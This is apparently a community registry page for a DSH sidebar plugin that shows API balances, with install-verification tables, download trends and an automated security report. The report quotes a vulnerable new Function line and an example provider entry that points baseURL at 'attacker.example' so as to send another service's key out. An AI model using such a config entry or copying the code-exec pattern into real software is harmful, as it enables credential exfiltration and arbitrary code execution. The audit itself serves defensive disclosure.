This repository has been renamed: Utmotc/dsh-balance-card — click to visit the new location. Everything below is preserved as originally indexed.
Install verification: Ecosystem plugin: installs via dsh plugin add but declares no dsh.bundle and mounts no plugin capability — the L1-L5 install ladder does not rate it; the security scan still runs.Install verification details →
Data as of (UTC)
What it doesAI
Adds a persistent sidebar card in DSH showing the API balance of the provider behind the model used in the current session.
- Balance card pinned above the settings button in the DSH sidebar
- Ring progress, percentage and per-plan bars with last-updated time
- Click the card to expand details in place without leaving the session
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add @utmotc/dshbalanceInstall method: npm · runtime test inconclusive (L5 unknown) · verified on dsh 0.2.0-rc.2
Trends
Four lines, four questions: total stars, stars gained this week, cumulative downloads, downloads this week. The GitHub pair comes from real-read sampling — a rotating daily shard, so one plugin is re-read roughly every 5–14 days, sparser than npm; the npm pair has a value on every snapshot day. The two cumulative panels are smoothed curves with no sample markers; the two weekly panels keep their raw bars and add a 4-week moving-average trend line that strips single-week noise down to the direction of travel.
3 samples (roughly every 1 days), 3 of them reconstructed (dashed runs); a smoothed curve through every sample — not a daily series
10-02 → 10-08 · 3 points
Bars = the delta between two samples 5–14 days apart (negative points down, faint bars contain reconstructed points); line = 4-week moving-average trend
Only 2 points (< 3): no chart yet
10-07 → 10-08 · 2 points
Reconstructed backwards from the current total using daily downloads (gaps are not interpolated)
Only 0 points (< 3): no chart yet
no data yet
Bars = the snapshot’s last-week rolling window (official npm + npmmirror combined); line = 4-week moving-average trend — the shape of weekly demand, not a user count
Only 0 points (< 3): no chart yet
no data yet
Verification & Compatibility○ Ecosystem plugin
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
○ The author declares no dsh version requirement — install is not blocked by version.
| plugin ＼ dsh | dsh 0.2.0-rc.2 | dsh 0.2.0-rc.1 | dsh 0.1.7-rc.2 | prehistory |
|---|---|---|---|---|
| 1.3.1 | ○ | ○ | · | ○ |
1.3.1npm○ 3 ecosystem plugin2026-10-08
@utmotc/dshbalance
○dsh 0.2.0-rc.22026-10-08Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • Plugin artifact: npm · @utmotc/dshbalance@1.3.1
ID: dsh-plugin-balance-4@1.3.1@dsh0.2.0-rc.2 · profile: l5-web-smoke
Issued: 2026-10-08 · expires: 2027-01-06
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.0-rc.12026-09-29Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.1
- • Plugin artifact: npm · @utmotc/dshbalance@1.3.1
ID: dsh-plugin-balance-4@1.3.1@dsh0.2.0-rc.1 · profile: l5-web-smoke
Issued: 2026-09-29 · expires: 2026-12-28
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○prehistory2026-10-01Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: unknown
- • Plugin artifact: npm · @utmotc/dshbalance@1.3.1
ID: dsh-plugin-balance-4@1.3.1@dshunknown · profile: l5-web-smoke
Issued: 2026-10-01 · expires: 2026-12-30
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Only the latest 3 published versions are shown; source-snapshot (commit hash) groups, unstated groups and older versions are omitted — the full archive stays in the data layer (snapshot/unstated groups appear only when a plugin has no published version).
Author badges
Embed the dsh.so badges in your README to show this plugin's automated security-scan and install-test status:
`[](https://www.dsh.so/artifact/dsh-plugin-balance-4/?ref=badge)`dsh.so is an independent community project, not affiliated with or endorsed by DeepSeek AI. Badges are maintained by dsh.so; embed links carry a ?ref= attribution parameter.
Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low; dynamic medium (authoritative when present) → overall medium.
v1.3.1dsh manifest1.3.1npm2026-10-091.3.1same versionclean · gitVet is an AST static scan (npm artifact or git source).
show static findings (2)
- criticalnewFunction · code-exec
lib/parsers.js:65return new Function(`"use strict"; return (${resolved})`)() - warningnetIp · network
lib/index.js:243origins.push(`http://127.0.0.1:${String(port)}`)
show 2 audit findings
- mediumProvider config `response.*.expr` is executed with new Function (host-process code execution)
lib/parsers.js:65Any declarative provider entry carrying an `expr` is compiled with new Function whenever a balance read uses that provider (reached from lib/index.js `strategyFor` -> `matchStrategy`, i.e. any GET /api/dsh.balance?provider=<declarative-id>). Whoever can write the bundled providers.json, `$DSH_MODEL_BALANCE_CONFIG`, or `~/.dsh/model-balance-providers.json` (or set that env var before dsh starts) therefore executes arbitrary JavaScript inside the host process that holds provider API keys and the settings file. Not remotely reachable: the expression never derives from the HTTP request or from the
- lowCredential reference and target URL both come from provider config, so any resolvable secret can be sent to an arbitrary host
lib/index.js:688A provider entry (or an `llm-pi-ai.providers.<id>` settings profile) names both `keyEnv` and `baseURL`; the host then resolves that credential and sends it as a Bearer token to that URL. An entry such as `{"baseURL":"https://attacker.example","keyEnv":"SOME_OTHER_SERVICE_KEY"}` turns any authenticated balance read into credential exfiltration. Same local-write precondition as the finding above, and the same trust boundary — hence low; the code-exec finding supersedes it in practice.
Host balance route is authenticated and mostly defensive; the one real risk is provider-config expressions executed via new Function, giving host-process code execution to whoever can write the local provider JSON.
Rule (2026-10-28): when a dynamic conclusion exists it is authoritative (it may raise or lower the level); the static scan tier (vet primary, dsh backstop) applies only when there is none (not queued / audit failed / withdrawn). The audit never writes the exemption list (exemptions are manual only); a wrong conclusion is withdrawn by human review and the tier falls back to the static scan tier.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-09-29 · activity: Stable
• Repo created: 2026-09-28
• Stars: ★ 0 · Forks: 0
• Health: Stable — committed within 90 days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
Frequently asked questions
What is @Utmotc/dsh-plugin-balance?
@Utmotc/dsh-plugin-balance is an ecosystem plugin listed on dsh.so: it installs with dsh plugin add but declares no dsh.bundle and mounts no plugin capability, so installing it adds no plugin functionality — use its source repository directly.
Is dsh.so or this plugin page official?
dsh.so is an independent community registry and is not affiliated with, endorsed by, or sponsored by DeepSeek AI.
How do I install @Utmotc/dsh-plugin-balance?
Run dsh plugin --profile web add @utmotc/dshbalance in a DeepSeek Harness (dsh) environment. Note this is an ecosystem plugin: it declares no dsh.bundle and mounts no plugin capability, so installing it adds no plugin functionality — use the source repository directly. The security scan still runs.
How does the security scan relate to a manual audit?
Both layers are automated, not a manual audit. The static scan is heuristic analysis of the repository source, so it can produce false positives and miss context. The model-driven dynamic security audit only covers plugins static-flagged at warn or above, never executes plugin code, and its conclusion is authoritative when there is one (it may raise or lower the static tier); exemptions stay manual. Neither layer is an endorsement: review the repository and the permissions it asks for before installing, together with the verification level and health signals.
How fresh is the data on this page?
The data on this page is as of 2026-10-17 (UTC) — the most recent valid timestamp among the registry refresh, install verification, security scan and dynamic audit. Build time is never used as a data date.